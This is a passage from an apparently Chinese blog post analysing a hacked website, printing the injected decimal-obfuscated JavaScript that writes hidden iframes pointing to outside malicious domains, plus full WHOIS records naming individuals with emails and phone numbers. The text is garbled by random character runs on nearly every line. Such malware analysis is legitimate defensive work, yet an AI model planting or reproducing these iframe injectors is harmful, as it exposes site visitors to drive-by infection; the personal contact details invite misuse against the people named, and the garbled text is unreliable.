首发在我的博客里面，
}&IOBYHVDo ]llvG \ http://www.areway.cn/?p=175 jftf]n&Z(q u/X1v -2 0 I[3%Q { 周末上线鸭子就Q我说他的站给挂了马，当时没太注意就直接打开了连接，截下了网页源码：
Lz}mz-N N
uq/y= <script>t=’60,105,102,114,97,109,101,
wnbKUlb 32,115,114,99,61,104,116,116,112,58,47,47,
R}\n @ X* 102,114,101,101,46,117,45,117,117,117,46,99,
z4*`K4W 110,47,101,114,114,111,114,46,104,116,109,
J, vEZT<Mt 32,119,105,100,116,104,61,49,48,48,32,104,
:%"$8o*0W 101,105,103,104,116,61,48,62,60,47,105,102,
psE&Rx3) 114,97,109,101,62′;
!"N-To-c t=eval(’String.fromCharCode(’+t+’)');document.write(t);</script>
UWq[K&vQZ
T &kr IZw <script>t=’60,105,102,114,97,109,101,32,115,
hdx"/.s 114,99,61,104,116,116,112,58,47,47,102,114,
VeWvSIP,EQ 101,101,46,117,45,117,117,117,46,99,110,47,
G^_fbrZjN 101,114,114,111,114,46,104,116,109,32,119,
;bes #|^F 105,100,116,104,61,49,48,48,32,104,101,105,
x<[W9Z'~?9 103,104,116,61,48,62,60,47,105,102,114,97,
Y%)@)$sK 109,101,62′;t=eval(’String.fromCharCode(’+t+’)');
[V.#w|n document.write(t);</script>
)nA fT0()0 Ct 30 EZ <html xmlns=”
zX ?@[ OT http://www.w3.org/1999/xhtml ~!T RR . “>
#Up
X <head>
5<L+T <!– Published By Newasp.cc 2007-12-7-18:03:23 –>
~> |o3&G{ <meta http-equiv=”Content-Type” content=”text/html; charset=gb2312″ />
TTzvH;S <title>首页 - 爱生活家庭网
O{nM
yB I]Jz[{~1 上面有一段 script的十进制加密字段，里面的大概内容是，把所有的字符放在函数t里面，最后用doucment.write(t)来把字符串写在网页里面。
D]$X@ 2A 转换字符串后的大概内容是（谁点击后果自付）：
o"@GYc[" <script>t=’<iframe src=http://free.u-uuu.cn/error.htm width=………
t5jZ8&M5] fkK42*U@r 查询玉米u-uuu.cn的详细信息：
84u %_4/ Domain Name: u-uuu.cn
P+[\9G g ROID: 20070901s10001s64972306-cn
K, L Domain Status: ok
tJ!s/|u( Registrant Organization: 王雷
NU$? BiB?R Registrant Name: 王雷
8^6dK Administrative Email:
czlovexs@126.com ^K
n{L Sponsoring Registrar: 北京万网志成科技有限公司
xdd;!HK, Name Server:ns.yovole.com
T_b$8GYfCY Name Server:ns1.yovole.com
Dg2=;)"L Registration Date: 2007-09-01 17:54
z\ ?cazQ Expiration Date: 2008-09-01 17:54
WEFvJ0] 最后PING了一下地址 都没有什么….
uGH>|V9'c %,[p[`NRYR 上虚拟机里面继续分析，IE里面打开上面的连接…查看源代码…..直接又有嵌套.
H8'_.2vw X <iframe src=http://www.foafau.info/ms15.htm width=1 height=1></iframe>
D\i8WU <script language=”javascript” src=”
~V<imF http://count43.51yes.com/click.aspx?id=4333375720&logo=6″></script Id; YIycXe >
l|p
\8= 这个玉米应该有可能是木马作者的：
V?"SrX N> foafau.info的详细信息：
ZF6?N?t}h8 Access to INFO WHOIS information is provided to assist persons in
HCTjFW>C determining the contents of a domain name registration record in the
0x]W W|se* Afilias registry database. The data in this record is provided by
3,RaM^5dV Afilias Limited for informational purposes only, and Afilias does not
Erd)P guarantee its accuracy. This service is intended only for query-based
|] 8Hh> access. You agree that you will use this data only for lawful purposes
Y1Qg|U o and that, under no circumstances will you use this data to: (a) allow,
_0(Bx?[h enable, or otherwise support the transmission by e-mail, telephone, or
Pf?y!d K < facsimile of mass unsolicited, commercial advertising or solicitations
^&6'F E to entities other than the data recipient’s own existing customers; or
iN+Tig ?c (b) enable high volume, automated, electronic processes that send
E||[(l, b queries or data to the systems of Registry Operator, a Registrar, or
c>nXn N Afilias except as reasonably necessary to register domain names or
NRgNW1# modify existing registrations. All rights reserved. Afilias reserves
rYYAZ(\8 the right to modify these terms at any time. By submitting this query,
j[< }l& you agree to abide by this policy.
U$5 lh Domain ID:D22418703-LRMS
@,{',
= L6 Domain Name:FOAFAU.INFO
z}:|is)? Created On:20-Nov-2007 16:05:42 UTC
1rmK#ld"=Z Last Updated On:20-Nov-2007 16:05:44 UTC
m} dO\; Expiration Date:20-Nov-2008 16:05:42 UTC
!R.*Vn[
Sponsoring Registrar:GoDaddy.com Inc. (R171-LRMS)
V"{+cPBO) Status:CLIENT DELETE PROHIBITED
{@8TGHKv Status:CLIENT RENEW PROHIBITED
'8b/TL Status:CLIENT TRANSFER PROHIBITED
4PzCm k Status:CLIENT UPDATE PROHIBITED
5??\[C^"} Status:TRANSFER PROHIBITED
}- P
='AyL Registrant ID:GODA-040110615
"=97:H {! Registrant Name:liu hong
OPsg3pW!] Registrant Organization:
=Vm"2g,aA Registrant Street1:beijing
PA(XdT{ Registrant Street2:
ZW0gd7Wh Registrant Street3:
43 h0i-%1 Registrant City:beijing
xVn"xk Registrant State/Province:
,AO]4Ec Registrant Postal Code:100000
42wa9UL<Ka Registrant Country:CN
RiX~YL eM Registrant Phone:+86.860108888777
u79,+H@ep Registrant Phone Ext.:
ZfYva(zP{Q Registrant FAX:
|nFg"W Registrant FAX Ext.:
8 aHs I( Registrant Email:bbbshiji@163.com
l SzLR~=Au Admin ID:GODA-240110615
`Z:5 E Admin Name:liu hong
v9qgfdBS5 Admin Organization:
sw'?&:<"Ow Admin Street1:beijing
0[qU k(=}[ Admin Street2:
s;'j n_,0 Admin Street3:
"A6T'nOP Admin City:beijing
] _ WB^ Admin State/Province:
6.!Cm$l Admin Postal Code:100000
cnR.J
Admin Country:CN
Qwm#6 {5 Admin Phone:+86.860108888777
;/Z9M"!u[ Admin Phone Ext.:
hS}d vZa Admin FAX:
}Ra'`;D$ Admin FAX Ext.:
5 uU.K3G7 Admin Email:bbbshiji@163.com
Ikn)XZU^ Billing ID:GODA-340110615
[?vn>
Billing Name:liu hong
7z =zJ4C Billing Organization:
3.
kP, Billing Street1:beijing
gfPh t 5 Billing Street2:
y.l`NTT] < Billing Street3:
"#a_--"k9 Billing City:beijing
1b,,uI_ Billing State/Province:
cx(a McX6 Billing Postal Code:100000
nf7l}^/UE Billing Country:CN
eXqS9`zKr Billing Phone:+86.860108888777
d }"Dp Billing Phone Ext.:
:q
xd])- Billing FAX:
Xo{| m[, Billing FAX Ext.:
Gs% cod Billing Email:bbbshiji@163.com
=&J 7
'nDP Tech ID:GODA-140110615
>+ZG {'!j Tech Name:liu hong
JToc("V Tech Organization:
;gC.fpu Tech Street1:beijing
#=G[ ~m\ Tech Street2:
.UUY9@ Tech Street3:
+x3T^G Tech City:beijing
Sj$XRkbj: Tech State/Province:
Uo!#p'<w)p Tech Postal Code:100000
'<A:`V9M}v Tech Country:CN
FOFZ/q Tech Phone:+86.860108888777
/NH9$u.g Tech Phone Ext.:
f<`is+" Tech FAX:
$
{iV]Xt Tech FAX Ext.:
4|9c+^%^ Tech Email:bbbshiji@163.com
.%D9leiRe Name Server:NS27.DOMAINCONTROL.COM
B~ o;,} Name Server:NS28.DOMAINCONTROL.COM
e*7nq ~ B5 Name Server:
lAxbF Name Server:
0
s-IW Name Server:
nnV(MB4z1 Name Server:
kXmnLxhS/ Name Server:
SOq{`~,4B Name Server:
~qG`~/7 Name Server:
Jv|uI1V Name Server:
F3aOKV^ Name Server:
0j lwL Name Server:
hpxqL%r Name Server:
aP%2CP~_ P rHir>
p 接着下载每个文件里面的代码：
| Vtd !9 一步一步看..
Jzg>Y?jN R 
\M
H\! 
RGw=!0V 
[/s^(2% 
vgc #IEx@ 
cH&-/|N 都是十进制的代码，也懒得再分析了，有这个爱好的大家可以继续试试
